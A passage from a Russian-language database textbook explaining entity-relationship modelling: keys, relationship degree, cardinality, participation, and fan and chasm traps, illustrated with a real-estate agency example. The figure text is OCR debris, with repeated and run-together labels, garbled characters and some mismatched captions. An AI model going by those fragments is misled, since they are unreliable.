Производные атрибуты могут также вычисляться на основе нескольких взаимосвязанных атрибутов различных сущностей. Например, рассмотрим атрибут Deposit (Задаток) сущности Rental_Agreement (Договор на аренду). Значение задатка связано с договором аренды (сущность Rental_Agreement) и вычисляется как удвоенная месячная плата за аренду данного объекта недвижимости. Следовательно, значение атрибута Deposit сущности Rental_Agreement вычисляется на основе атрибута Rent (Арендная плата) сущности Rental_Agreement.
Ключи
Под ключом подразумевается элемент данных, который позволяет уникально идентифицировать отдельные экземпляры некоторого типа сущности. Рассмотрим более строгое определение ключа.
Потенциальный Атрибут или набор атрибутов, который уникально идентифици- ключРУет отдельные экземпляры типа сущности.
Потенциальный ключ — это один или несколько атрибутов, значения которых уникальным образом идентифицируют каждый экземпляр сущности данного типа. Например, номер отделения компании (Branch No) является потенциальным ключом типа сущности Branch, поскольку он содержит разные значения для каждой отдельной сущности Branch. Потенциальный ключ должен содержать значения, которые уникальны для каждого отдельного экземпляра сущности данного типа. Например, каждое отделение компании обладает уникальным номером (например, 'ВЗ'), и не существует отделений с одинаковыми номерами.
Первичный
Потенциальный ключ, который выбран в качестве первичного
ключ
ключа.
Тип сущности может иметь несколько потенциальных ключей. Например, каждый сотрудник может иметь уникальный номер социального страхования NIN (National Insurance Number), а также уникальный личный (табельный) номер
Staff No, присваиваемый сотрудникам этой организации. Таким образом, сущность Staff обладает двумя потенциальными ключами, каждый из которых может быть выбран в качестве первичного ключа.
Выбор первичного ключа сущности осуществляется исходя из соображений суммарной длины атрибутов, минимального количества атрибутов в ключе, а также наличия гарантий уникальности его значений в текущий момент времени и в обозримом будущем. В частности, личный номер сотрудника (например, 'SG24г) меньше по размеру, а потому предпочтительнее, чем номер социального страхования (например, 'WL220658D'). Следовательно, первичным ключом сущности Staff целесообразно выбрать именно атрибут Staff_No, а атрибут NIN в этом случае будет называться альтернативным ключом.
Составной Потенциальный ключ, который состоит из двух или больше атрибутов, ключ
В некоторых случаях ключ сущности состоит из нескольких атрибутов, значения которых, взятые вместе, а не по отдельности, уникальны для каждого экземпляра сущности. Например, сущность Advert (Рекламное объявление) обладает следующими атрибутами Property_No, Newspaper-Name, Date_Advert и Cost. Многие объекты недвижимости одновременно рекламируются во многих газетах. Для уникальной идентификации каждого рекламного объявления необходимо использовать значения Property-No (Номер объекта недвижимости), Newspaper_Name (Название газеты) и Date_Advert (Дата рекламного объявления). Таким образом, сущность Advert (Рекламное объявление) обладает составным первичным ключом, состоящим из атрибутов Property-No, Newspaper-Name и Date_Advert.
Представление атрибутов на диаграммах
На диаграммах атрибуты изображаются в виде эллипсов, присоединенных линией к соответствующей сущности и помеченных именем атрибута. На рис. 5.3 показаны атрибуты, связанные с сущностями Staff, Branch и Next_of_Kin.
Эллипс окружен пунктирным контуром, если атрибут является производным, и двойным контуром, если атрибут является многозначным. Как следует из рис. 5.3, атрибут Total_Staff (Общее количество сотрудников) сущности Staff является производным, а атрибут Tel-No (Номер телефона) сущности Branch — многозначным.
Если атрибут является составным, его атрибуты-компоненты изображаются в виде присоединенных к нему эллипсов. На рис. 5.3 показано, что атрибут Name сущности Staff является составным атрибутом, состоящим из атрибута имени (Fname) и атрибута фамилии (Lname). Кроме того, атрибут Address сущности Branch также является составным атрибутом, состоящим из атрибутов Street, Area, City и Postcode.
Имя атрибута, который является первичным ключом данного типа сущности, подчеркивается. Как следует из рис. 5.3, первичным ключом сущности Staff является атрибут номера сотрудника Staff_No, а первичным ключом сущности Branch — атрибут номера отделения компании Branch_No. Первичный ключ для слабой сущности Next ofj<in нельзя определить до тех пор, пока не будут установлены ограничения для связи между сущностью Next_of_Kin и ее родительской сущностью Staff. Как часть слабой сущности, первичный ключ сущности Next_of_Kin будет частично или полностью производным от сущности Staff.
Рис. 5.3. Диаграммное представление сущностей Staff, Branch и Next_of Kin и их атрибутов
Рассмотрев представленную на рис. 5.3 диаграмму, можно определить атрибуты, связанные с типами сущностей Staff, Branch и Next_of_Kin. Тип сущности Staff состоит из следующих компонентов:
Staff(Staff No, FName, LName, Address, Tel_No, Sex, DOB, Position, NIN, Salary)
Первичный ключ:Staff_No
Альтернативный ключ: FName, LName, DOB
Альтернативный ключ: NIN
Составной атрибут; Name(FName, LName)
Производный атрибут: Total_Staff
Тип сущности Branch состоит из таких компонентов:
Branch(Branch_No, Street, Area, City, Postcode, Tel_No, Fax No)
Первичный ключ:Branch_No
Альтернативный ключ: FaxNo
Составной атрибут:Address(Street, Area, City, Postcode)
Многозначный атрибут; TelNo
Тип сущности Next^of^Kin состоит из следующих компонентов: Next_of_Kin(NName, Address, Teljto, Relationship)
Типы связей
Тип связи Осмысленная ассоциация между сущностями разных типов.
Тип связи (relationship type) является набором ассоциаций между двумя (или больше) типами сущностей-участников. Каждому типу связи присваивается имя, которое должно описывать его функцию. Например, сущность Owner (Владелец) связана с сущностью Property^for^Rent (Объект недвижимости) посредством связи Owns (владеет).
Как и в случае сущностей, здесь следует различать понятия “связь” и “тип связи”.
Связь Ассоциация между сущностями, включающая по одной сущности из каждого участвующего в связи типа сущности.
Каждый уникально идентифицируемый экземпляр типа связи мы будем называть просто связью. Связи указывают на отдельные экземпляры сущностей, объединяемые ими. Другие авторы называют это понятие экземпляром связи (relationship occurrence или relationship instance). В данной главе используются только термины “тип связи” и “связь”. Как и при описании понятия “сущность”, термин “связь” может использоваться в более общем смысле, там, где этот смысл очевиден.
Связь IsAllocated (Приписан к) указывает на взаимосвязь между сущностями Branch и Staff, а каждый отдельный экземпляр связи IsAllocated связывает одну сущность Branch с одной сущностью Staff. На отдельные элементы связи IsAllocated представлены на диаграмме (рис. 5.4), которая называется семантической сетью. Семантическая сеть является объектной диаграммой, в которой символ • представляет сущности, а символ “ — связи.
ЗначенияЗначенияАтрибуты ЭкземплярыАтрибуты ЭкземплярыЗначенияЗначенияВЗ163 Main St.Glasgow0141-339-2178ВЗ163 Main St.Glasgow0141-339-2178В716 Argyll St,Aberdeen01224-67125В716 Argyll St,Aberdeen01224-67125Экземпляры Экземпляры АтрибутыЭкземпляры Экземпляры АтрибутыTel.NoTel.NoDOBDOBDOBDOBTel.NoTel.Noсущности Branchсущности BranchStaff.NoAddressStaff.NoAddressStaff.No AddressStaff.No AddressBranch_NoAddress -Branch_NoAddress -связи IsAllocatedсвязи IsAllocatedBranch.NoAddress -Branch.NoAddress -сущности Staffсущности Staff" DOBStaff.No Address" DOBStaff.No AddressSG3781 George St,Glasgow10-Nov-60SG1463 Ashby St,Glasgow24-Mar-58SA92 Elm PI,Aberdeen19-Feb-70SG3781 George St,Glasgow10-Nov-60SG1463 Ashby St,Glasgow24-Mar-58SA92 Elm PI,Aberdeen19-Feb-70
Значения
Значения
Атрибуты Экземпляры
Атрибуты Экземпляры
Значения
Значения
ВЗ163 Main St.Glasgow0141-339-2178
ВЗ163 Main St.Glasgow0141-339-2178
В716 Argyll St,Aberdeen01224-67125
В716 Argyll St,Aberdeen01224-67125
Экземпляры Экземпляры Атрибуты
Экземпляры Экземпляры Атрибуты
Tel.No
Tel.No
DOB
DOB
DOB
DOB
Tel.No
Tel.No
сущности Branch
сущности Branch
Staff.No
Address
Staff.No
Address
Staff.No Address
Staff.No Address
Branch_No
Address -
Branch_No
Address -
связи IsAllocated
связи IsAllocated
Branch.No
Address -
Branch.No
Address -
сущности Staff
сущности Staff
" DOB
Staff.No Address
" DOB
Staff.No Address
SG3781 George St,Glasgow10-Nov-60
SG1463 Ashby St,Glasgow24-Mar-58
SA92 Elm PI,Aberdeen19-Feb-70
SG3781 George St,Glasgow10-Nov-60
SG1463 Ashby St,Glasgow24-Mar-58
SA92 Elm PI,Aberdeen19-Feb-70
Puc. 5.4. Модель семантической сети, которая иллюстрирует отдельные элементы связи IsAllocated
Для упрощения диаграммы семантической сети на рис. 5.4 показаны только некоторые атрибуты сущностей Branch и Staff. Так, здесь показаны только три атрибута типа сущности Branch — Branch_No — Address и Tel_No, и три атрибута для сущности Staff — Staff_No, Address и DOB. Причем каждый атрибут содержит значение из связанного с ним домена (например, значение атрибута Branch^No сущности Ы типа Branch равно 'ВЗ').
На диаграмме показаны три связи (rl, г2 и гЗ), которые описывают взаимосвязь сущностей Branch и Staff. Эти связи представлены линиями, соединяющими каждую сущность Branch с каждой сущностью Staff. Например, связь rl изображает взаимосвязь сущностей Ы типа Branch и si типа Staff.
Если вся корпоративная структура была бы представлена с помощью семантических сетей, то из-за избыточной степени детализации ее было бы трудно понять. Связи между сущностями корпорации можно представить в более простой форме — в виде ER-модели. Пример высокоуровневого представления связи IsAllocated с использованием концепций ER-моделирования показан на рис. 5.5.
Рис. 5.5. Представление на ER-диаграмме сущностей Branch, Staff и Next_of Kin, связей между ними и атрибутов, которые являются их первичными ключами
Представление связей на диаграммах
Каждая связь изображается в виде ромбика с указанным на нем именем связи. Ромбик имеет двойной контур, если связь соединяет слабую сущность с сильной сущностью, от которой эта слабая сущность зависит. На рис. 5.5 взаимосвязь между сущностями Branch и Staff представлена с помощью связи IsAllocated^ а между сущностями Next of Kin и Staff — с помощью связи RelatedTo. Связь RelatedTo показана в виде ромбика с двойным контуром, указывающим на то, что она установлена между слабой (Next_of_Kin) и сильной (Staff) сущностями.
Для снижения уровня детализации на отдельной ER-диаграмме часто указываются только те атрибуты, которые представляют первичные ключи изображенных сущностей, а в некоторых случаях атрибуты не отоображаются совсем. Например, на рис. 5.5 представлены только те атрибуты, которые являются первичными ключами сильных сущностей, а именно: Staff_No и Branch^No.
Степень связи Количество сущностей, которые охвачены данной связью.
Охваченные некоторой связью сущности называются участниками этой связи. Количество участников некоторой связи называется степенью (degree) этой связи. Следовательно, степень связи указывает на количество типов сущностей, охваченных данной связью. Связь со степенью два называется бинарной (binary). Примером бинарной связи является связь Owns с двумя участниками: Owner и Property_for_Rent. Ее ER-диаграмма показана на рис. 5.6.
Связь со степенью три называется тернарной (ternary). Примером такой связи является связь SetsUp с тремя участниками: Client, Staff и Interview. Назначение этой связи состоит в представлении ситуации, когда сотрудник отвечает за организацию интервью с клиентом. Диаграмма тернарной связи SetsUp показана на рис. 5.7.
Связь со степенью четыре называется кватернарной (quaternary). Примером кватер- нарной связи является связь Arranges с четырьмя сущностями-участниками: Buyer (Покупатель), Solicitor (Доверенное лицо), Financial_Institution (Финансовый орган) и Bid (Предложение). Эта связь представляет ситуацию, когда покупатель с помощью доверенного лица и при поддержке финансового органа выражает свое намерение приобрести объект недвижимости. Диаграмма кватернарной связи Arranges показана на рис. 5.8.
Property,t for.Rent >
Рис. 5.7. Пример тернарной связи SetsUpРис. 5.7. Пример тернарной связи SetsUpInterview ,Interview ,Рис. 5.6. Пример бинарной связи Owns
Рис. 5.7. Пример тернарной связи SetsUp
Рис. 5.7. Пример тернарной связи SetsUp
Interview ,
Interview ,
SolicitorSolicitorArrangesArrangesи в разных ролях.и в разных ролях.связьсвязь
Solicitor
Solicitor
Arranges
Arranges
и в разных ролях.
и в разных ролях.
связь
связь
Financial, >^institution У
Bid
Рис. 5.8. Пример кватернарной связи Arranges
Рекурсивная Связь, в которой одни и те же сущности участвуют несколько раз
Рассмотрим рекурсивную связь Supervises, которая представляет взаимосвязь персонала с управляющим, который также входит в состав персонала. Иначе говоря, сущность Staff дважды участвует в связи Supervises: первый раз — в качестве управляющего, а второй — в качестве сотрудника, которым управляют. Рекурсивные связи иногда называются унарными (unary).
Связям могут присваиваться ролевые имена — для указания назначения каждой сущности — участницы данной связи. Ролевые имена имеют большое значение в ре-
курсивных связях (при определении функций каждого участника). На рис. 5.9 показан пример использования ролевых имен в рекурсивной связи Supervises. Первое участие сущности Staff получило название Инспектор (Supervisor), а второе — Подчиненный (Supervisee).
ПодчиненныйПодчиненныйРис. 5.9. Пример рекурсивной связи Supervises с ролевыми именами Инспектор и ПодчиненныйРис. 5.9. Пример рекурсивной связи Supervises с ролевыми именами Инспектор и Подчиненный
Подчиненный
Подчиненный
Рис. 5.9. Пример рекурсивной связи Supervises с ролевыми именами Инспектор и Подчиненный
Рис. 5.9. Пример рекурсивной связи Supervises с ролевыми именами Инспектор и Подчиненный
Ролевые имена могут также использоваться, когда две сущности связаны несколькими связями. Например, сущности Staff и Branch связаны двумя различными связями — Manages и IsAllocated. Как показано на рис. 5.10, использование ролевых имен существенно проясняет назначение каждой связи. Например, в случае, когда сущность Staff связана с сущностью Branch связью Manages, сотрудник (сущность Staff) с ролевым именем Руководитель (Manager) управляет (связь Manages) отделением компании с ролевым именем Отделение компании (Branch Office). Аналогично, когда сущность Branch связана с сущностью Staff связью IsAllocated, то сотрудник с ролевым именем Работник (Member of Staff) является приписанным к отделению компании с ролевым именем Отделение компании (Branch Office).
различными связями Manages и IsAllocated, с указа
нием ролевых имен
Ролевые имена обычно не требуются, если функции сущностей — участниц данной связи определены недвусмысленно.
Атрибуты связей
Атрибуты, описанные в разделе 5.1.2, могут также принадлежать связям. Рассмотрим в качестве примера связь Views между сущностями Client и Ргор- erty_for_Rent. Допустим, что требуется фиксировать дату просмотра объекта недвижимости клиентом, а также записывать комментарии, сделанные клиентом в ходе осмотра этой недвижимости. Данная информация скорее относится к связи Views,
чем к сущности Client или Property_for_Rent. Как показано на рис. 5.11, для хранения этих сведений связи Views присваиваются атрибуты Date_View (Дата просмотра) и Comments (Комментарии).
Рис. 5.11. Пример связи Views с атрибутами Da te_View и Сошепts
Наличие у связи одного или нескольких атрибутов может свидетельствовать о том, что эта связь скрывает некоторую неопределенную сущность. Например, наличие атрибутов Date_View и Comments у связи Views может свидетельствовать о наличии некоторой сущности с именем Viewing (Просмотр).
Структурные ограничения
Рассмотрим теперь ограничения, которые могут накладываться на сущности — участницы некоторой связи. По сути, они являются отражением определенных требований реального мира. Примерами таких ограничений являются требования, чтобы объект недвижимости имел владельца и в каждом отделении компании был некоторый персонал. Основными двумя типами накладываемых на связи ограничений являются ее кардинальность (cardinality) и степень участия (participation).
Показатель кардинальности
Показатель Описывает количество возможных связей для каждой из сущ- кардинальности ностей-участниц.
Наиболее распространенными являются бинарные связи с показателями кардинальности “один к одному” (1:1), “один ко многим” (1:М) и “многие ко многим” (M:N).
Показатели кардинальности связей между сущностями определяются прежде всего производственными правилами, установленными на данном предприятии. Правила, определяющие показатели кардинальности, называются бизнес-правилами (business rules) организации. Важной частью моделирования процессов функционирования предприятия является выделение и учет всех (без исключения) существующих в нем бизнес-правил. К сожалению, не все существующие типы бизнес-правил могут быть представлены с помощью ER-модели. Примером подобного бизнес- правила является распоряжение о том, что любой сотрудник получает дополнительный выходной день за каждый отработанный в данной корпорации год.
Связи „один к одному"
Рассмотрим бинарную связь Manages, существующую между сущностями Staff и Branch. На рис. 5.12 эта связь представлена с помощью семантической сетевой модели (см. раздел 5.1.3). Обратите внимание на то, что в этом разделе для упрощения на семантических сетевых моделях показаны только некоторые из атрибутов, связанных с каждой представленной сущностью.
Атрибуты Экземпляры Экземпляры Экземпляры Атрибуты сущностисвязисущностиStaffManages BranchАтрибуты Экземпляры Экземпляры Экземпляры Атрибуты сущностисвязисущностиStaffManages BranchЗначенияЗначенияSG5 Susan BrandManagerSG37 Ann BeechSenior AssistantSL41 John WhiteManagerSG5 Susan BrandManagerSG37 Ann BeechSenior AssistantSL41 John WhiteManager
Атрибуты Экземпляры Экземпляры Экземпляры Атрибуты сущностисвязисущности
StaffManages Branch
Атрибуты Экземпляры Экземпляры Экземпляры Атрибуты сущностисвязисущности
StaffManages Branch
Значения
Значения
SG5 Susan Brand
Manager
SG37 Ann Beech
Senior Assistant
SL41 John White
Manager
SG5 Susan Brand
Manager
SG37 Ann Beech
Senior Assistant
SL41 John White
Manager
Значения
Puc. 5.12. Семантическая сетевая модель связи Manages между сущностями Staff и Branch
На семантической сетевой модели, представленной на рис. 5.12, отображены отдельные экземпляры связи Manages между сущностями Staff и Branch. Например, сотрудница с именем 'Susan Brand' (si) является менеджером ('Manager') отделения компании с номером 'ВЗ' (Ы), расположенным в Глазго ('Glasgow'), а сотрудник с именем 'John White' (s3) — менеджером ('Manager') отделения компании с номером 'В5' (Ь2), расположенным в Лондоне ('London').
Кроме того, из рис. 5.12 видно, что сотрудница с именем 'Ann Beech' (s2) не является менеджером, а потому она не охвачена связью Manages. Однако при определении показателя кардинальности некоторой связи следует учитывать только те сущности, которые охватываются данной связью. Вовлечение сущности в данную связь называется степенью участия сущности. Эта тема более подробно рассматривается в следующем разделе.
Из семантической сетевой модели связи Manages следует, что одна сущность типа Staff (менеджер) связана с единственной сущностью типа Branch (Отделение компании). Поэтому связь Manages является связью типа “один к одному” (1:1). Иначе говоря, показатель кардинальности связи Manages равен 1:1. Кардинальность этой связи подтверждается бизнес-правилом, которое его представляет.
ER-диаграмма связи Manages между сущностями Staff и Branch показана на рис. 5.13. Как правило, участники каждой связи на ER-диаграмме соединяются линиями с метками 1, М или N, определяющими показатель кардинальности этой связи.
Рис. 5.13. ER-модель связи Manages между сущностями Staff и Branch
Связь „один ко многим"
Рассмотрим бинарную связь Oversees между сущностями Staff и Property_for_Rent. На рис. 5.14 эта связь представлена в виде семантической сетевой модели.
ЗначенияЗначенияSG5 Susan Brand ManagerSG37 Ann Beech Senior AssistantSA9 Mary Howe AssistantSG5 Susan Brand ManagerSG37 Ann Beech Senior AssistantSA9 Mary Howe AssistantАтрибуты Экземпляры Экземпляры Экземпляры Атрибуты сущности связи сущностиStaff Oversees Property_for_RentАтрибуты Экземпляры Экземпляры Экземпляры Атрибуты сущности связи сущностиStaff Oversees Property_for_RentЗначения
Значения
Значения
SG5 Susan Brand Manager
SG37 Ann Beech Senior Assistant
SA9 Mary Howe Assistant
SG5 Susan Brand Manager
SG37 Ann Beech Senior Assistant
SA9 Mary Howe Assistant
Атрибуты Экземпляры Экземпляры Экземпляры Атрибуты сущности связи сущности
Staff Oversees Property_for_Rent
Атрибуты Экземпляры Экземпляры Экземпляры Атрибуты сущности связи сущности
Staff Oversees Property_for_Rent
PG21
18 Dale Rd,GlasgowHouse
PG36
2 Manor Rd,GlasgowFlat
PA14
16 HotheadAberdeenHouse
Puc. 5.14. Семантическая сетевая модель связи Oversees между сущностями Staff и Property_for_Rent
На этой диаграмме показаны отдельные экземпляры связи Oversees между сущностями Staff и Property_for_Rent. Например, сотрудница с именем 'Ann Beech' (s2) отвечает за два объекта недвижимости, расположенных в городе Глазго, с номерами 'PG21' (pl) и 'PG36' (р2), а сотрудница с именем 'Mary Howe' (s3) — за один объект недвижимости с номером 'РА14' (рЗ), расположенный в городе Абердин. Сотрудница с именем 'Susan Brand' (si) не вовлечена в эту связь. Как уже упоминалось выше, при определении соотношения кардинальности учитываются только те сущности, которые вовлечены в эту связь. Следует отметить, что одна сущность типа Staff может быть связана с одной или более сущностями типа Prop- erty_for_Rent. Следовательно, связь Oversees, с точки зрения сущности Staff, является связью типа “один ко многим” (1:М).
Если рассмотреть связь Oversees с противоположной стороны, то можно заметить, что с объектами недвижимости в городе Глазго с номерами 'PG21' (pl) и 'PG36' (р2) работает сотрудница с именем 'Ann Beech' (s2), а с объектом недвижимости в городе Абердин с номером 'РА14' (рЗ) — сотрудница с именем 'Mary Howe' (s3). Следует отметить, что одна сущность типа Property__for_Rent связана с одной сущностью типа Staff. Поэтому связь Oversees, с точки зрения сущности Property_for_Rent, является связью типа “один к одному” (1:1).
Итак, с точки зрения сущности Staff, связь Oversees является связью типа 1:М, а с точки зрения сущности Property_for_Rent — связью типа 1:1. Однако на ER- диаграммах ее следует представлять с наиболее высоким из всех существующих показателем кардинальности, т.е. с точки зрения связи Oversees. Иначе говоря, для связи Oversees показатель кардинальности мы принимаем равным 1:М. ER- диаграмма связи Oversees между сущностями Staff и Property_for_Rent представлена на рис. 5.15. Кардинальность этой связи подтверждается бизнес-правилом, на основе которого она была представлена.
Рис. 5.15. ER-модель связи Manages между сущностями Staff и BranchРис. 5.15. ER-модель связи Manages между сущностями Staff и Branch
Рис. 5.15. ER-модель связи Manages между сущностями Staff и Branch
Рис. 5.15. ER-модель связи Manages между сущностями Staff и Branch
Связи "многие ко многим"
ЗначенияЗначенияРассмотрим бинарную связь Advertises между сущностями Newspaper и Prop- erty__for_Rent. На рис. 5.16 эта связь представлена в виде семантической сетевой модели.
Значения
Значения
Атрибуты Экземпляры Экземпляры Экземпляры Атрибуты Значениясущности связи сущностиNewspaper Advertises Property_for_Rent
PG2118 Dale St,GlasgowHousePG362 Manor Rd,GlasgowFlatPA1416 Hothead,AberdeenHousePG2118 Dale St,GlasgowHousePG362 Manor Rd,GlasgowFlatPA1416 Hothead,AberdeenHouseGlasgow Daily12 Byres Rd,GlasgowJim McRoberts
PG2118 Dale St,GlasgowHouse
PG362 Manor Rd,GlasgowFlat
PA1416 Hothead,Aberdeen
House
PG2118 Dale St,GlasgowHouse
PG362 Manor Rd,GlasgowFlat
PA1416 Hothead,Aberdeen
House
The West News11 Nile St,GlasgowJanet Stone
Aberdeen Express123 Red Rd,Aberdeen
Jim Johnston
Puc. 5.16. Семантическая сетевая модель связи Advertises между
сущностями Newspaper и Property_forJtent
На этой сетевой модели показаны отдельные экземпляры связи Advertises между сущностями Newspaper и Property_for_Rent. Например, в газете 'Glasgow Daily' (nl) рекламируются два объекта недвижимости с номерами 'PG21' (pl) и 'PG36' (р2), а в газете 'Aberdeen Express' (пЗ) —- один объект недвижимости с номером 'РА14' (рЗ). Можно заметить, что одна сущность типа Newspaper может быть связана с одной или больше сущностями типа Proper ty_f orient. Следовательно, связь Advertises, с точки зрения сущности Newspaper, является связью типа “один ко многим” (1:М).
Если рассмотреть связь Advertises с противоположной стороны, то можно заметить, что объект недвижимости с номером 'PG36' (р2) рекламируется в газетах 'Glasgow Daily' (nl) и 'The West News' (n2). Отсюда следует, что одна сущность типа Property_for_Rent может быть связана с одной или больше сущностями типа Newspaper. Поэтому связь Advertises, с точки зрения сущности Property_for_Rent, также является связью “один ко многим” (1:М).
Итак, связь Advertises является связью типа 1:М и с точки зрения сущности Newspaper, и с точки зрения сущности Property for^Rent. Она представлена в виде двух связей типа “один ко многим” (1:М), которые вместе образуют связь типа “многие ко многим” (M:N). Иначе говоря, показатель кардинальности связи Advertises равен
M:N. ER-диаграмма связи Advertises между сущностями Newspaper и Property forJRent представлена на рис. 5.17. Кардинальность этой связи подтверждается бизнес- правилом, на основе которого она была представлена.
Рис. 5.17. ER-моделъ связи Manages между сущностями Staff и Branch
Степень участия
Степень Определяет, зависит ли существование некоторой сущности от уча- участия стия в связи некоторой другой сущности.
Существует два варианта участия сущности в связи: полное (total) и частичное (partial). Степень участия является полной, если для существования некоторой сущности требуется существование другой сущности, связанной с ней определенной связью. В противном случае степень участия является частичной. Например, в случае связи IsAllocated между сущностями Branch и Staff участие сущности Branch в этой связи является полным, поскольку каждое отделение компании имеет некоторый персонал. Однако, поскольку некоторые работники (например, торговые агенты) не относятся ни к какому конкретному отделению компании, то участие сущности Staff в связи IsAllocated является частичным.
На рис. 5.18 эти ограничения представлены в схематическом виде на примере связи IsAllocated между сущностями Branch и Staff. Полную степень участия иногда называют обязательным участием (mandatory), а частичную — необязательным (optional). Участники связи с подным участием соединяется со значком связи двойной линией, а участники связи с частичным участием — одинарной линией.
Рис. 5.18. Степень участия сторон в связи IsAllocated между сущностями Branch и Staff
Допустимо использование и альтернативного варианта обозначений структурных ограничений, накладываемых на некоторую связь, который предусматривает отображение максимальных (Мах) и минимальных (Min) значений в виде надписи (Min, Мах) над линией соединения, обозначающей участие сущности в данной связи. Например, на рис. 5.19 эти обозначения применены в отношении связи IsAllocated между сущностями Branch и Staff. Подобная система обозначений полезна тем, что иногда позволяет отобразить больше информации о степени участия сторон для данной связи. Например, обозначение (5, N) между сущностью Branch и связью IsAllocated (см. рис. 5.19) указы-
вает, что в каждом отделении компании работает, по крайней мере, 5 сотрудников (Min - 5), а максимальное их количество не ограничено (Мах = N). Аналогично, обозначение (О, 1) между сущностью Staff и связью IsAllocated указывает, что сотрудник не обязательно работает в каком-то из отделений компании (Min = 0), но работать одновременно в нескольких отделениях он не может (Мах = 1). Такую информацию нельзя получить только на основе показателя кардинальности.
Рис. 5.19. Ограничения участия сторон для связи IsAllocated между сущностями Branch и Staff представлены с использованием альтернативной системы обозначений (Min, Мах)
Краткая сводка условных обозначений, введенных в этом разделе для представления основных понятий модели “сущность-связь”, показана на внутренней стороне обложки этой книги.
Проблемы ER-моделирования
В этом разделе рассматриваются некоторые проблемы, которые могут иметь место при разработке концептуальной модели данных. Эти проблемы, которые принято называть ловушками соединения (connection trap), обычно возникают вследствие неправильной интерпретации смысла некоторых связей. Мы рассмотрим два основных типа ловушек соединения: ловушку разветвления (fan trap) и ловушку разрыва (chasm trap), а также укажем способы идентификации и устранения этих проблем в создаваемых ER-моделях. Здесь, однако, следует отметить, что очень важно всегда проверять модель данных на наличие потенциальных ловушек соединения, поскольку в одних случаях это может иметь лишь незначительные последствия, тогда как в других — для устранения ловушек может потребоваться выполнить перестройку всей концептуальной модели.
В общем случае для выявления ловушек соединения необходимо гарантировать, что смысл каждой связи четко и ясно определен. При недостаточном понимании сути установленных связей можно построить модель, которая не будет являться истинным представлением реального мира.
Ловушки разветвления
ЛовушкаИмеет место в том случае, когда модель отображает связь между
разветвления типами сущностей, но путь между отдельными сущностями этого типа определен неоднозначно.
Ловушка разветвления возникает в случае, когда две или больше связей типа 1:М разветвляются из одной сущности. Потенциальная ловушка разветвления показана на рис. 5.20, на котором две связи типа 1:М (IsAllocated и Operates') выходят из одной и той же сущности Division.
Рассмотрев показанную на рис. 5.20 ER-модель, можно сделать вывод, что один отдел (Division) может быть представлен сразу в нескольких отделениях компании
(Branch) и в нем может работать многочисленный штат сотрудников. Проблемы начинаются при попытках выяснить, в каком отделении компании работает каждый из сотрудников отдела. Для исследования этой проблемы рассмотрим показанную на рис. 5.20 ER-модель на уровне отдельных сущностей, для чего представим ее в виде семантической сетевой модели — (рис. 5.21).
Рис. 5.20. Пример ловушки разветвления
Рис. 5.21. Семантическая сетевая модель ER-модели, показанной на рис. 5.20
С помощью семантической сетевой модели попробуем ответить на такой вопрос: “В каком отделении компании работает сотрудник с номером 'SG37'?”. К сожалению, на этот вопрос нельзя дать ответ, используя только данную структуру. Из семантической модели, показанной на рис. 5.21, можно сделать вывод, что этот сотрудник работает в отделении 'ВЗ' или 'В7'. Неспособность дать точный ответ на поставленный вопрос является результатом ловушки разветвления, связанной с неправильной интерпретацией связей между сущностями Staff, Division и Branch. Устранить эту проблему можно путем перестройки ER-модели для представления правильного взаимодействия между этими сущностями — так, как показано на рис. 5.22.
Если проверить эту структуру на уровне отдельных сущностей (так, как показано на рис. 5.23), можно убедиться, что теперь легко дать однозначный ответ на поставленный выше вопрос. С помощью семантической сетевой модели можно определить, что сотрудник с номером 'SG37Z работает в отделении компании с номером 'В3#, который является частью отдела 'D1'.
Рис. 5.22. Пример преобразования представленной на рис. 5.20 ER-модели с целью устранения ловушки разветвления
Экземпляры Экземпляры сущности Division связи OperatesЭкземпляры Экземпляры сущности Division связи OperatesЭкземпляры сущности BranchЭкземпляры сущности BranchЭкземпляры Экземпляры связи isAllocated сущности StaffЭкземпляры Экземпляры связи isAllocated сущности StaffРис. 5.23. Семантическая сетевая модель ER-модели, представленной на рис. 5.22Рис. 5.23. Семантическая сетевая модель ER-модели, представленной на рис. 5.22
Экземпляры Экземпляры сущности Division связи Operates
Экземпляры Экземпляры сущности Division связи Operates
Экземпляры сущности Branch
Экземпляры сущности Branch
Экземпляры Экземпляры связи isAllocated сущности Staff
Экземпляры Экземпляры связи isAllocated сущности Staff
Рис. 5.23. Семантическая сетевая модель ER-модели, представленной на рис. 5.22
Рис. 5.23. Семантическая сетевая модель ER-модели, представленной на рис. 5.22
Ловушки разрыва
Ловушка Появляется в том случае, когда в модели предполагается наличие свя- разрыва зи между типами сущностей, но не существует пути между отдельными сущностями этих типов.
Ловушка разрыва может возникнуть при наличии связи с частичным участием, образующей часть пути между связанными сущностями. На рис. 5.24 потенциальная ловушка разрыва показана на примере связей между сущностями Branch, Staff и Property_for^Rent.
Рассмотрев представленную ER-модель, можно сделать вывод, что одно отделение компании имеет много сотрудников, которые работают со сдаваемыми в аренду объектами. Однако, не все сотрудники непосредственно работают с объектами, а также не все сдаваемые в аренду объекты недвижимости в каждый конкретный момент находятся в ведении кого-либо из работников компании. В данном случае проблема возникает, когда необходимо выяснить, какие объекты недвижимости приписаны к тому или иному отделению компании. Для исследования этой проблемы рассмотрим представленную на рис. 5.24 ER-модель на уровне семантической сетевой модели, показанной на рис. 5.25.
Рис. 5.24. Пример ловушки разрыва
Экземпляры сущности BranchЭкземпляры сущности BranchЭкземпляры связи isAI locatedЭкземпляры связи isAI locatedЭкземпляры сущности StaffЭкземпляры сущности StaffЭкземпляры связи OverseesЭкземпляры связи OverseesЭкземпляры сущности Property_for_RentЭкземпляры сущности Property_for_RentРис. 5.25. Семантическая сетевая модель ER-модели, представленной на рис. 5,24Рис. 5.25. Семантическая сетевая модель ER-модели, представленной на рис. 5,24
Экземпляры сущности Branch
Экземпляры сущности Branch
Экземпляры связи isAI located
Экземпляры связи isAI located
Экземпляры сущности Staff
Экземпляры сущности Staff
Экземпляры связи Oversees
Экземпляры связи Oversees
Экземпляры сущности Property_for_Rent
Экземпляры сущности Property_for_Rent
Рис. 5.25. Семантическая сетевая модель ER-модели, представленной на рис. 5,24
Рис. 5.25. Семантическая сетевая модель ER-модели, представленной на рис. 5,24
